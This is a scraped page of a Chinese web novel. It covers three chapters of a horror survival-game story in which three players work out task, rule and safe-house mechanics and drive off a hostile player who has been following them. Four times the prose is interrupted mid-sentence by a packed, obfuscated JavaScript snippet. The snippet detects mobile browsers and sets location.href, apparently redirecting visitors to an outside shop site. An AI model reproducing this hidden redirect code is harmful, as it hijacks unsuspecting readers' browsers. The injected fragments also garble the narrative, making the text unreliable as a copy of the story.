“那些人快是因为他们都不是新人,这只是个C级副本,对于他们来说就是压积分用的,因为积分超过要求就再也进不了低级副本,只能去刷危险性更高的中高级副本,至于公共任务——”谷琳琳看着也挺无奈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679130|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “也是被动触发,不过比悄无声息的前置好点,它会提示。” “这公共任务怎么跟个半成品一样?系统已经bug到连自我检修都做不到了吗?”希泽开启日常吐槽游戏任务。 “之前宣传片里说的那么高大上,什么所有副本都是根据历史数据库随机生成,没有剧本,绝对公平,还说什么启用的是最新科技‘光脑自检’,除非游戏系统出问题,否则不会出现任何副本bug,结果呢?现在是bug上整了个游戏吗?” “游戏系统没问题我们就不会莫名其妙的出现在这里了。”喻诗瑭拍了拍希泽的背后当做顺气,“先去把支线任务清了,对了琳琳。” “嗯?”顾琳琳乖巧扭头。 “玩家的个人任务是只能等系统发布吗?” “是的,个人任务都是系统定点一起发放的,所以如果想在副本里刷积分,那就只能开支线任务。” 喻诗瑭觉得哪里有点奇怪,一时又有点说不上来,于是问了别的:“刚才系统说目前公共任务进度是20%,是单指某个玩家已经完成了20%吗?” “没错,系统只报最高进度,因为只要有一名玩家完成公共任务,那副本就会进入倒计时,倒计时中的副本就不会再出现任务支线任务。” “那——”喻诗瑭思索着问,“如果最高进度的那名玩家死了,怎么算?” 谷琳琳没想到她会问这个,背脊一僵,心里还在犹豫,答案却已经在对方的注视下,先一步出来:“进度会根据第二高的玩家进度,进行调整。” “也就是说,如果公共任务进度最高的玩家是20%,第二高的玩家是10%,那在进度最高的玩家不小心触犯规则死亡后,进度就会顺延到第二高的玩家身上,也就是倒退回到10%。”喻诗瑭不急不慢地问,“我理解的没错吧?” 谷琳琳:“……没错。” “哇,那这样的第一名不是很危险。”希泽在那语不惊人死不休,“很容易就成为其他人的靶子。” “是这样没错,但是系统有明确规定的。”谷琳琳生怕他俩一个脑洞大开踩线,她总觉得就凭这两人的胆子,干出什么她都不会觉得震惊,于是反复又强调了一遍,“玩家不能通过任何违规手段抢夺积分与作弊,一旦被系统监测出使用了不合规的手段攻击其他玩家,会被判定为严重违规!” 喻诗瑭还没来得及说什么,希泽就又歪了重点:“说到这个,我之前就想问了,玩家的积分还能被抢夺?” “!!!”这是重点吗! 谷琳琳紧张地瞪圆了眼睛,咬着字,一个个蹦出:“不!能!也!不!可!以!” “哎呀不要这么认真~”希泽赶紧举起双手放到身前,笑眯眯地说,“我就是看你太紧张了,所以开个玩笑。” 谷琳琳:“……” 她觉得希泽这句补救更像是玩笑。 15. 三更鼓 “嗷呜呜呜呜~呜呜呜~~~” 谷琳琳坐在房间角落一张的不到自己小腿肚高的板凳上,不顾一群人在前面极富感情的哭腔,双手环抱着腿,脑袋死死地埋在膝盖里,宛如一只逃避现实的鸵鸟。 跟已经把自己游离在世界外的谷琳琳不同,希泽一个大小伙,顶着一张建模脸混在一群婶子中,竟然毫无违和感,他显然是听进去了喻诗瑭的话,跟着身边两个来帮忙“哭丧”的婶子学的叫一个青出于蓝,哭得明显比昨天的干嚎有节奏多了。 反观喻诗瑭今天哭得比昨天含蓄不少,但她眼睛通红,双目无神的状态,乍看之下像是悲伤过度,精神已经模糊,在一群嗷嗷哭的人里显得格外哀痛,令人不忍。 实际上,此时的喻诗瑭正盯着开启的任务面板,一心二用地梳理着本个小时前她从谷琳琳那里挖到的信息。 -公共任务的前置任务没有任何提醒,但触发的原因,大概率来自于主线任务地点。 -公共任务无需领取,只会在任务进行时提醒。 -系统只会播报公共任务进度最高的玩家。 -如果公共任务进度最高的玩家“死亡”,公共任务进度则会根据下一位玩家的进度进行调整。 谷琳琳后面推测出的信息跟她自己的猜想差不多,但她刚才还是一步步逼着让谷琳琳自己说出推测跟想法。 倒不是她有多怀疑谷琳琳,虽然没到百分百信任,但比起怀疑,她觉得谷琳琳身上奇怪的矛盾点反而更多些。 喻诗瑭的目光透过任务面板,落在谷琳琳低垂的后脑勺上。 几次对话下来,她能确定对方是个很聪明的人,这种聪明体现在很多方面,从一开始就瞄准他们当合作伙伴,在极度恐惧下还能快速判断出当下情形的利弊,到好几次自己给出的试探性提示,都是谷琳琳最先反应过来这几点都能看出。 但就是这么一个聪明的人,主观能动性却差得惊人。 一开始喻诗瑭以为谷琳琳这种问一题,答一句的情况是因为她也不敢信任他们,或是有其他想法,所以才对问题的答案,以及部分游戏信息有所保留。 可到后面她发现不是的,只要不是百分百确定的答案,谷琳琳是宁可不说,也不敢多说,跟谨慎没有关系,她就是单纯的“不敢”, 不敢多说,也不敢多想,谷琳琳像是不太习惯去思考,或者说得更确切一点,她觉得谷琳琳有点“害怕”思考。 就拿推测公共任务前置触发点是主线地点这件事,都不用过四,五个副本,再粗心的玩家,在过第二个副本的时候就应该已经发现了,她却一直糊里糊涂地过到现在,简直像是在刻意避开寻到答案一样。 哪怕是后面自己引导她进行推测,她也是恨不得把“免责声明”贯穿全文,生怕自己给出的推测或是想法会误导他们,让他们出现错误判断。 如果谷琳琳是个无所畏惧,不怕死,或是个脑子实在转不过弯的人就算了,明明是个胆小想活命的人,怎么会养成这种毛病,而且喻诗瑭发现谷琳琳自己根本就没意识到这点。 太奇怪了。 喻诗瑭边思索边将目光移到哭得正上头的希泽身上。 至于希泽……她觉得一个人身上如果有些奇怪点,那这人可能值得怀疑,但如果一个人从头到脚,从内到位都透露着奇怪,那大概率他就是个奇怪的人。 希泽的思维模式还有行为方式,有时会让她产生一种无从下手分析的茫然感,目前也就胜在对方听话,这就足够了,要不要防着再说,反正这副本应该很快就要结束了。 “诶,老王家的闺女。”早上来找她跟希泽“哭丧”的张婶不知道从哪凑了出来,她拉过喻诗瑭的手,将手里一袋东西塞了过去,“今天真是谢谢你了,一会吃了午饭再回去啊,下午好好在家休息休息。” 喻诗瑭也不知道递到手里的是什么,先拿稳了才抽抽搭搭地问:“张婶,下午不需要我再过来了吗?” “不用不用,下午有人换班。”张婶的用词给人一种莫名的社畜感,她轻轻拍了拍喻诗瑭的手才说重点,“眼泪再多的人也经不起这么哭,这不还有六天嘛,尤其是出殡那天,更需要你们!” 感情打得是持久战的注意啊。 喻诗瑭一脸真诚地看着张婶:“您放心张婶,一直到老村长安稳下葬前,但凡缺席一天,我这辈子都没脸再回村里!” “瞧你这孩子说的,没那么严重。”但凡不是碍于场合得把嘴角压死,光是想到能少一大半工作量,她都能把脸笑成菊花,张婶使劲抑制着想要上扬的音调,接连夸了几句“懂事”“靠谱”等场面话,才弓着腰离开。 “叮~恭喜玩家完成支线任务‘哭丧’,个人积分+10~禁忌规则+1~请查收~” 因为任务面板一直处于开启状态,所以喻诗瑭在听到系统语音的瞬间,眼前就出现一条查收弹框。 她没急着点开查看,看到张婶正往希泽那猫过去,她先把披在身上的白布掀开,放到一旁站起,路过还在当鸵鸟的谷琳琳,曲直在她后脑勺轻弹了下,对上她像受惊仓鼠一样的慌乱视线后,示意她跟着出来。 总算是能离开这个现眼的地方,谷琳琳赶忙拖着已经发麻的小腿,一瘸一拐地追着喻诗瑭往外跑。 结果刚在院外站定的喻诗瑭,一转身看到的就是跟出笼丧尸一样,朝而她来的谷琳琳。 喻诗瑭:“……” 她对谷琳琳聪明程度的判断,真的没有任何问题吗? “小喻姐!咱们要去哪啊?不哭了嘛?”对喻诗瑭的想法一无所知的谷琳琳,正忙着揉自己发麻的腿,并真心认为这游戏也不用在各方面都做的这么真实。 喻诗瑭也没瞒,直说:“今天不哭了,任务完成。” 谷琳琳鸵鸟政策再度上线,自动忽略掉“今天不要哭了”这几个字,直奔任务:“规则出来了?” “出了,我看没有倒计时限制就没急着点查收。”喻诗瑭跟她确认,“查收规则没有倒计时限制吧?” “点击查收之前没有,点击后就有了。”谷琳琳抽正忙的右手,比出根食指,“一分钟,一分钟内你好决定是否开启规则,选‘是’开启后规则生效,无法关闭,选‘否’销毁规则,随机获得5到20个积分。” “选择不开启规则还能随机获得5到20积分?”希泽惊讶的声音从谷琳琳身后传来,吓得她一抖,发麻的小腿都差点给他吓好了。 “是……是啊。”谷琳琳靠在树边点头。 希泽惊讶变惊喜,兴奋地说:“那还开什么规则啊!运气好点我的负数就变正了!诶不对啊。” 惊喜过后是疑惑,希泽皱着眉心问:“不开启规则就能获得积分,那为什么那些还要拼命开规则?他们不是来刷积分的吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701462|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “因为刷积分最高也只能获得30分啊。”谷琳琳无奈地笑了下,“你每开一条规则,其他玩家被淘汰的几率就高一层,要知道公共任务完成后给的1000积分,可是按照存活玩家个人任务进度分配的,如果这个副本到最后只剩下你一个玩家,就表示除了你做任务时获得的积分外,你还能额外再获得1000积分。” “所以与其碰运气去赌获得20积分的几率,开规则对他们来说赌赢的成分更大,更何况——”谷琳琳说到这突然卡壳,看着越来越震惊的脸,莫名就有点说不下去了。 “更何况什么?”希泽急了,“怎么还吊人胃口呢?” “更何况你不开,有的是人开。”喻诗瑭接过谷琳琳的话往下说,“你就想赌一个20积分,不代表别人也只想要20积分。” “啊……”希泽表情有一瞬间空白,张着的嘴巴动了动没发出声音,好不容易出声了,却显得有些虚,“这个游戏的设计者是不是故意的啊?” 喻诗瑭:“故意什么?” “故意设计这种把人与人放在对立面的规则。”希泽越说越气愤,“故意引人勾心斗角,故意制造出现在这种场面!这个游戏设计者到底知不知道游戏最重要的内核是什么啊!” “你,确定这个游戏是把人与人放在了对立面上?”喻诗瑭一句反问就把希泽升起来的怒火给降了下了下来,希泽梗着脖子还想说些什么,最终还是耷拉下脑袋不说话了。 “额……内个——”感觉到气氛不太美好,谷琳琳尴尬地扣了半天树皮,还是决定硬着头皮,学着喻诗瑭之前的方式,生切一个新话题,“我刚才就有一个问题想问了。” 喻诗瑭配合地回问:“什么问题?” “为什么希泽说自己的‘负数就变正了’?”谷琳琳不明白,“怎么还出负数了?” “啊?”希泽有气无力地重新抬起头,“早上说的时候你不在吗?我开了个安全屋啊——” 已经没了谴责游戏不讲武德的力气,希泽简单两句话就把自己“负债”的情况带过。 “!!!!”谷琳琳急得都顾不上还在发麻的小腿,站直身体就是道歉,“对不起!!我的错,是我忘了提醒你们关于安全屋的事!” “你道什么歉啊,是我自己开的,跟你也没关系。”希泽对着地面指指点点,“要怪就怪这系统,一点提示也没给,完全是坑人贷款!” “就是,你不用急着拦责任。”喻诗瑭看谷琳琳完全听不下希泽的话,急得眼都红了,也帮着安抚了一句,“再说也就15分,刚支线任务就拿了十分,现在只差五分,一两个任务就补上了,还有个安全屋,不亏。” “怎么会不亏!”谷琳琳神情比之前说规则时显得激动多了,“一名玩家同一时间只能拥有一间安全屋,但安全屋是能被人双倍积分买走的!” 喻诗瑭脸色微变,语气沉了沉:“说详细点。” “如果有其他玩家想买走希泽的安全屋,只需要付两倍积分就可以瞬间完成交接,哪怕他当时正在安全屋里躲着,安全屋一样会立刻更换主人。”谷琳琳语速突然快得惊人,“如果希泽想买回自己的安全屋,他就需要花费那名玩家购买时的两倍积分,哪怕他另外再兑换一间没人的安全屋,所需要使用的积分,也会是自己最后一次兑换安全屋时的两倍积分。” “我靠?恐怖游戏还炒房产啊?” 16. 三更鼓 “炒,炒房?”谷琳琳狂飙的语速直接被希泽一句类比给弄乱了节奏。 “不是吗?”希泽转而看向喻诗瑭,想从她那边找认同。 “嗯。”喻诗瑭不理解,但点头,配合完才在希泽满足的表情下问谷琳琳,“也就是说,希泽的安全屋如果被人双倍兑换走,那他下一次再兑换安全屋,就要使用60积分了对吗?” “对!”谷琳琳使劲点头,“再下一次就是120积分,一直以倍数叠加!” 喻诗瑭:“……哇塞。” 她知道这游戏没那么善良,所以一开始对30积分就能换一间安全屋这事持疑,但她没想到游戏能这么无耻。 不但允许安全屋多次转手,还是瞬间完成转让,也就是说,哪怕玩家及时躲进自己的安全屋里也未必安全。 喻诗瑭点开副本地图,地图上那唯一一块从浅灰色变成红色的图形,就是希泽开启的安全屋,刚才没仔细看,这会她操纵着光圈移到安全屋上,来回点了几下,面露疑问:“其他人看不到这间安全屋是属于谁?” “其他人看不见的,只有玩家本人才能看见自己安全屋上的名字。”谷琳琳努力从记忆里扒拉出其他有效信息,“还有!除了第一位兑换的玩家,后面重复购买同一间安全屋的玩家,在兑换前,是不会知道当前需要兑换多少积分才能成功。” “等等。”喻诗瑭眼睛一亮,“你的意思是,如果有其他人想兑换掉希泽的安全屋,都是属于盲兑,在兑换成功前,并不确定自己需要付出多少积分?” 谷琳琳仔细思考了一下喻诗瑭的话才点头:“是这个意思没错。” “炒房加盲盒模式。”希泽仿佛事不关己一样在那总结,“这游戏的设计者是个资深资本家吧。” 如果只是资本家反而比较好对付,毕竟他们只图利益。 这很可能火上浇油的话被喻诗瑭咽进肚子里,熟练地安抚起来:“等你出去了可以写长帖,一天一贴怒斥万恶的资本家跟这游戏的主创,所以我们现在最重要的目的就是出去。” “小喻姐你说的对!”希泽对着两人约定,“那等我出去曝光的时候,你们要给我的帖子点赞收藏加转发!” “没问题!”谷琳琳相当捧场,“我开两个号给你转!” “够义气!”希泽举起手跟谷琳琳来了个协议击掌,跟着小狗眼亮晶晶地看着喻诗瑭。 “……”喻诗瑭举起手跟他保证,“我也给你开两个号转。” “耶!”希泽转身也给了她一个清脆地击掌。 “好了。”放下手的喻诗瑭握了握发麻的掌心,把话题带回正轨:“我先查看规则,希泽先不动试试。” “好哦~~~” 喻诗瑭在希泽拖长的尾音中按下了“查收”。 “查收申请已收到,等待其他任务玩家查收确认中。” 喻诗瑭看着新弹出来的系统提示,耳边传来了希泽纳闷的声音。 “诶?系统提示我了诶。”希泽把自己新弹出来的系统提示念了出来,“‘已有任务玩家提交查收申请,请问是否选择查收’小喻姐,它给了‘是’与‘否’,我选啥?” 居然是联合提示? 喻诗瑭略微思考给出了回答:“选‘否’。” “好哦。”希泽想也不想地按下“否”,“小喻姐它又变回待查收了!” “我的也是,查收申请被系统驳回了。”喻诗瑭这下彻底明白了,系统会同时发出播报的重点,不是在于玩家是否同时完成任务,或是否同时开启规则,而是规则只能同时被开启,只要有一名任务玩家不同意,或是没完成,剩下的玩家都无法查收规则。 “啊?这还是绑定的啊。”希泽咋舌,下意识看向谷琳琳。 “我也是现在才知道。”光看希泽脑袋动的方向,谷琳琳的解释就同步出声,“刚才我也是说有可能,具体什么情况我是真不知道。” “不要老是这么紧张嘛。”希泽满不在乎地说,“游戏还是要慢慢摸索才有意思嘛。” 谷琳琳:“……” 这是慢慢摸索的事吗!这人是不是生来就不知道危机感这三个字该怎么写啊! “希泽。”喻诗瑭突然出声喊了他一声,问:“你想开规则还是想要积分?” “啊?”突然被问,希泽踌躇道,“我,我不知道啊,我是只想要积分,可你们不是说就算我们不开规则,别人也会开吗?” 是啊,就算他们不开,别人也会开。 这是她刚才跟希泽说的原话。 但,真的要开吗? 喻诗瑭从醒来到现在,第一次感到犹豫。 昨天那名玩家被公鸡啄死的画面,还有凄惨的求救声音开始在她脑内循环。 老实说,那名玩家被淘汰的画面确实冲击,但她心里其实并没太多波动,她感觉自己当时更像是在看一部事不关己的电影,毫无参与感。 如果不是她忽然冒头的良心阻止她拿希泽跟谷琳琳做验证,她都怀疑自己原来是不是个纯冷血生物。 “那小喻姐你呢?”见她没回答,希泽主动表示,“我听你的,你说开我就开,你说不开我就不开。” “我——”喻诗瑭开了个头又停下,在两双视线的注视下忽然问谷琳琳,“规则被查收后如果不开启,它是会直接被销毁,还是会轮到其他任务里?” “没被开启的任务会被直接销毁。”谷琳琳说得很肯定。 “好。”喻诗瑭想了下还是说,“先确认规则内容。” 他们现在只知道一个模棱两可的提示,不管开不开,她至少得知道一条规则内容,这样才能反推其他有可能的规则。 喻诗瑭头也没抬地再次按下“查收”,同时提醒希泽点击确认。 “好嘞~”希泽听话地按下“是”。 两人同时通过后,弹出了一个跟之前配色完全不同的黑底红字弹框。 “……” 毫无防备的喻诗瑭连有几个字都没看清,就本能地闭上眼。 她觉得美工应该是想学恐怖游戏中常用的配色元素,但是……哪个好人家用亮红色当字体颜色啊,眼睛要瞎掉了好不好! “啊!我的眼睛!”跟安静遭罪的喻诗瑭不同,希泽嗷的一嗓子亮了出来,“这什么啊!” 两人突变地反应吓了谷琳琳一跳,她慌忙地问:“怎么了怎么了?你们没事吧?” “要被这破弹框的配色搞瞎眼了!”希泽闭着眼睛甩了甩头,“写的什么啊?!我就看到个倒计时!” “啊?会吗?”谷琳琳困惑地眨了下眼,在希泽“吱哇”乱叫的背景音下喃喃自语,“难道组队开启的规则跟单人开启的弹框颜色不一样?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708550|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >喻诗瑭没听到谷琳琳地嘟囔,她正眯着眼睛,尝试让眼睛适应在黑底上更显亮的红字。 “‘三更鼓,三更鼓,三更鼓响时莫回头’请问玩家是否开启此条规则?” 看着鲜红的“是”与“否”两个字,喻诗瑭问:“希泽,你的规则是什么?” “啊?哦!额——”希泽为了看清文字,眉头都快锁成死结了,“什么,‘三更鼓,三更鼓,二更天时莫照镜’,然后就是问我是否开启此条规则,小喻姐开吗?” 开吗? 喻诗瑭按在指环上的拇指迟疑地轻颤了下,眼前弹框上鲜红的倒计时变得有些模糊,却不妨碍数字毫不留情地跳动。 “小喻姐?”半天没等到喻诗瑭的回答,时间已经进入十以内的倒数,希泽又喊了她一声,“小喻姐,要倒数了。” “……不开。” 听到喻诗瑭的指令,希泽想都没想,直接跟对方同步按下“否”。 “叮~玩家选择不开启,此条禁忌规则将被销毁,恭喜您获得不开启禁忌规则随机奖励~积分+15~请再接再厉~~” 15积分,运气还挺好。 不等喻诗瑭开口问,希泽自己就先没憋住。 “啊~开到低保了。”希泽失望的声音甚至都没维持到其他人出声安慰,音调就换成了庆幸地上扬,“好消息,债务还清~” “完美。”喻诗瑭关掉任务面板,照例配合了一句,转而问谷琳琳,“系统有给你什么提示吗?” “没有。”谷琳琳摇头,“我印象中只要跟个人获得积分有关的,系统好像都不会进行通知。” 哦? 喻诗瑭心思一动,没再多问。 “那这系统还挺注重隐私。”希泽勉勉强强准备替它加上一分,“那我……” “叮,个人任务已领取,请玩家务必在时限内完成,若任务失败,玩家将被扣除相应积分。” 希泽还没把给系统加分的话说出来,系统反倒先发出了提示声,立马把加分的事抛到脑后:“诶?任务来了,我看看…在村长家吃完午餐?这算什么任务?” 在村长家吃饭? 刚关不到一分钟的任务面板又被喻诗瑭打开。 个人任务:在村长家吃完午餐 任务时限:无 又是没时限? 不对,按照任务来看,午餐时间应该算是隐性时限,或者说是隐性时间段。 喻诗瑭脑袋上的小灯泡又亮了,那如果她今天不去吃午饭,而是明天再去完成任务,会影响其他已经完成任务的玩家接下一个任务吗? 毕竟谷琳琳说过,个人任务是系统统一发布的。 “那如果……” “谁在那!” 喻诗瑭的问题跟希泽的质问同步出来,她没来得及诧异对方难得严肃的神情,一个穿着黑色冲锋衣的寸头男人,从斜对面的围墙角绕了出来。 对方比希泽还要高上一个头,宽肩厚背,身上的肌肉是冲锋衣都绷不住的结实壮硕,光是站在那就给人一种无形的压迫感。 “呵。”男人狠戾的视线缓慢地扫过在场三人,蓦地露出令人不适的阴鸷笑容,声音低沉嘲弄,“今天的警惕性倒是高了不少。” 今天? 喻诗瑭眼尾微微眯起。 这人一直在跟踪他们?! 17. 三更鼓 “你谁啊?干嘛跟着我们?!” 希泽个没对方高,人却一点也不虚,步子一跨,挡在喻诗瑭跟谷琳琳的身前。 “不用紧张小兄弟。”男人半举双手的动作看似示弱,脸上却没半点和气,“我叫陈柏北,是来跟你们谈合作的。” 不知道是对方给人的攻击感太强,还是语气上太不客气,希泽对陈柏北抱有很强的抵触情绪:“合什么作?我们不需要合作。” “话不要说得这么绝对嘛,你们不也是合作起来的关系。”陈柏北意有所指地看了眼谷琳琳,把她看得背脊一凉,缩着肩膀往喻诗瑭那边贴了贴。 “乱看什么呢。”希泽不客气地往旁边又侧了点,再度挡住陈柏北的视线,“再说我们什么关系关你什么事,你跟了我们多久?” “小兄弟脾气还挺大啊。”陈柏北嗤笑一声,像是在笑他的不自量力。 “不用太把自己当回事,我就是刚路过看到你们三个在一起,想着人多就顺便,也不是非找你们合作不可,毕竟你们三个要经验没经验,要阅历没阅历,要不是看你们年纪跟我妹妹差不多,觉得你们死在副本里可惜了,我才不会想着带你们,像你们这样的累赘,到最后大概率只会成为其他老手的垫脚石。” “你什么东西啊你!”希泽到底年轻,被几句话给激上头,袖子一撸就往上冲,也不管自己是不是对方的对手。 好在喻诗瑭眼疾手快,一把拽住希泽的后衣领,把人薅住。 “小喻姐你放开!”希泽被勒住脖子还不老实,扑腾地双手想继续往前,逼得喻诗瑭不得已用上双手,生怕这货脱缰。 “对啊,放开嘛。”陈柏北抱着双臂,悠哉地表情里满是恶意,“让我看看这小兄弟跳起来能不能揍到我的脸。” “你!再!说!一!遍!” 感觉到希泽有蓄力往上窜的倾向,喻诗瑭右腿往前一迈,标准弓步扎稳马步,手背上的青筋都因为使劲明显爆出,表情却还淡然得仿佛清风拂过,用词简洁:“装模作样。” 陈柏北表情一僵,脸上的笑容肉眼可见地减少几分:“小丫头你跟谁这么说话呢?” “你喊谁小丫头呢?”刚被扯住的希泽气得又要往前窜,倒是喻诗瑭的声音依旧四平八稳,完全不受费力控制希泽的影响。 “怎么?四个字就破防?这可不是大佬该有的气质。”喻诗瑭眉尾一挑,脸上不屑的劲比起陈柏北有过之而无不,“从昨晚就跟在我们身后路过,你路过的范围也未免太广了些吧。” “嘎?”希泽保持着前冲的姿势呆住,谷琳琳也满脸诧异,只有喻诗瑭还在那不慌不忙地继续输出:“昨晚不想把你揪出来,单纯是想看看你要整出什么花样,结果憋了一个晚上……就这?” 喻诗瑭念最后两个字时轻却上扬的语调,透露着毫不掩饰的轻蔑。 “啊?真的假……”希泽的问题没有问完的机会,因为没有比陈柏北瞬变的脸色,更铁的证据了。 希泽没憋住,发出了一声阴阳怪气地:“哇。” “你!”陈柏北后槽牙咬得死紧,眼神阴暗,额上的青筋都因为没有遮挡,格外明显。 他昨晚从围墙上跳下来没看到自己当做“探路石”的玩家,就知道对方多半是已经没了,于是他立刻把主意打到这三人身上,一次遇到三个新手实在不容易,更别说这三人组还是两个花瓶,外加一个吓一下就腿软的弱鸡。 只是他没想到,这花瓶居然是实心的,失算了。 完全不知道自己也被归为新人的谷琳琳都快抖成筛糠了,眼前这人的眼神让她很不舒服,但她也只是一味地低着脑袋,躲在喻诗瑭身后,等着她的决定。 “我怎么?”喻诗瑭松开拽着希泽衣领的手,还顺便拍了他两下帮他抚平衣领,跟着才慢悠悠地胡说八道,“我怎么知道你跟着我们?还是,我从什么时候知道你在跟着我们?” 陈柏北内心惊疑不定,这人真的从昨晚开始就知道自己在跟着他们了?知道却不戳穿,也没把自己引出来,难道是藏了什么后招?还是已经想好要怎么利用自己了? “想知道我为什么一直不拆穿你,任由你跟在我们身后吗?”喻诗瑭慢条斯理地问。 陈柏北以己度人地在那脑补,甚至越想越多,在等到对方最后一个问题甩过来时,下意识地回答连脑都没过:“为什么?” “啊~~~”喻诗瑭一个“啊”字,音拐得堪称山路十八弯,就是配上她的冷脸,看着有点音画不符的违和。 “你啊什么?!”陈柏北心里一紧,他本身就不是脑子灵活那一挂的,但野兽一样的直觉告诉他有问题。 果不其然,下一秒喻诗瑭挂上了在别人看来跟挑衅无异的“和善”笑容。 “原来你真的从昨晚开始就跟着我们啊。” 陈柏北听完愣是钝了好几秒才反应过来,表情瞬间扭曲:“你他妈诈我?” “诶,文明用词警告啊。”喻诗瑭伸出一根手指摇了摇,“再说,不是你先妄图利用我们吗?就是吧,你人不聪明,话术也低能,你之前真的靠这种话术骗到过人吗?” “死丫头你找死是不是!”陈柏北双手一握,手臂上的肌肉把原本就不富裕地冲锋衣直接拉平,指节发出了清晰地“咔哒”声,黑着脸就朝喻诗瑭而来。 “我,警告你别过来啊!” 这道带着颤的声音不是来自随时准备开干的希泽,而是来自刚刚还站在喻诗瑭身后瑟瑟发抖,这会已经站到她身边——继续瑟瑟发抖的谷琳琳。 “我,我按着举报呢啊。”谷琳琳色厉内荏地冲陈柏北喊,“你敢过来碰她一下,我立刻按举报,你看看系统罚不罚你!” 比起确实顾虑而停下脚步的陈柏北,喻诗瑭跟希泽看上去更震惊,两人齐刷刷地转头,不约而同地对谷琳琳比了个大拇指。 谷琳琳已经怕得没空去看那两人耍宝,只顾死死地盯着陈柏北,按着指环的拇指指尖都泛白了也不敢松懈一点,生怕自己来不及点击举报。 “你们好样的。”陈柏北手指隔空用力点了点他们三人,临走前还不忘放下一句无人在意的狠话,“你们给我小心点,这梁子结下了!” “不是,这人到底来干嘛的?”希泽不能理解,“特地来挑衅一下,然后被羞辱走?” “谁知道呢。”喻诗瑭随口毒舌,“大概爱好受辱吧。” “咦~~”希泽满口嫌弃。 这两人你一言我一语都没把这人当回事,反倒是成功让对方离开的谷琳琳憋着口气不敢松,直到对方连背影都看不到了,才差点一屁股跌坐在地,还好一旁的喻诗瑭早有察觉,一把将对方架起。 “没想到啊,琳琳你可以呀!”希泽给了两个大拇指以表双份鼓励与肯定,“有事你是真上,够义气。” 谷琳琳连笑的力气都没了,她自己都没想到。 “你刚才说举报是什么意思?”喻诗瑭比较好奇这个,“居然能让他这么顾忌地走了?” 谷琳琳虚弱地说:“系统对于玩家之间使用暴力,或是胁迫的惩罚是很严格的,被举报查证后,严重的话会被直接清零积分。” “哦~原来这样。”喻诗瑭了然,“难怪那人到现在都还没被人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720762|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打死。” “谁啊?谁还没被打死啊?那个寸头吗?”希泽凑过来。 “那个村长。”喻诗瑭把昨天晚上跟村长的对话简单说了下,“叫小谢村长,一个人精,你们遇到的时候小心点。” “我知道他。”谷琳琳的回答让喻诗瑭有点意外。 “你认识?” “不是认识,只是知道,他很有名的。”谷琳琳稍稍回想了下说,“小谢应该是NPC的名字,如果没记错的话,他叫严棕禾,为人高调,排名一直在总积分榜30到50之间浮动,是大神级别的玩家,而且是唯一一个用实名进行积分排名的玩家。” “30到50?”无论什么游戏都能在全服前十的希泽提出质疑,“这排名也算大神?顶多算高玩吧。” “不一样。”谷琳琳解释,“这人很厉害的,以实力来说他至少能进前十,之所以排名低,浮动大,是因为他花积分不眨眼。” 喻诗瑭问:“你是说买安全屋?” “不是,是在待机界面的商场里,兑换一些没有无属性的东西。”谷琳琳开始举例,“像他身上穿的,包括装饰品那些花里胡哨的东西,都是在商场里用积分兑换的,自从游戏出问题以后,也就只有他还在商场狂刷积分买那些美丽废物,所以他很有名,个人特色太明显了。” 原来他身上的衣服是这么来的。 喻诗瑭:“所以在商场里用积分兑换的东西,是能带进副本里的?” “能,但那些东西没有一点用。”谷琳琳怕他们乱用积分,又强调了一遍,“商场里的东西不附加任何属性,在副本内毫无帮助,非要说的话,大概就是从一个普通玩家,变成一个花里胡哨的玩家。” “就像那个严棕禾?”希泽用了一个相当合适的形容词,“整的跟只花孔雀一样。” “是的!”谷琳琳不厌其烦地来回叮嘱,“积分真的很重要,尤其你们还是新人,本身就没有积分基础,有时候就差一两分你的排名可能就不够,千万不能像他那样乱来。” “所以你昨天拦他的时候就知道他是严棕禾?”喻诗瑭说的是昨天在吊桥边,谷琳琳拦人的事。 “嗯。”谷琳琳欲言又止地挣扎了一下,最后还是老实交代,“严棕禾这个人脾气虽然古怪,但也是出了名的傲,眼高于顶,谁也看不上,所以从来不为难其他玩家,或者说是不屑为难其他玩家,也很看不惯陷害这种行为,算是积分高的玩家里,少数不用防备的玩家。” 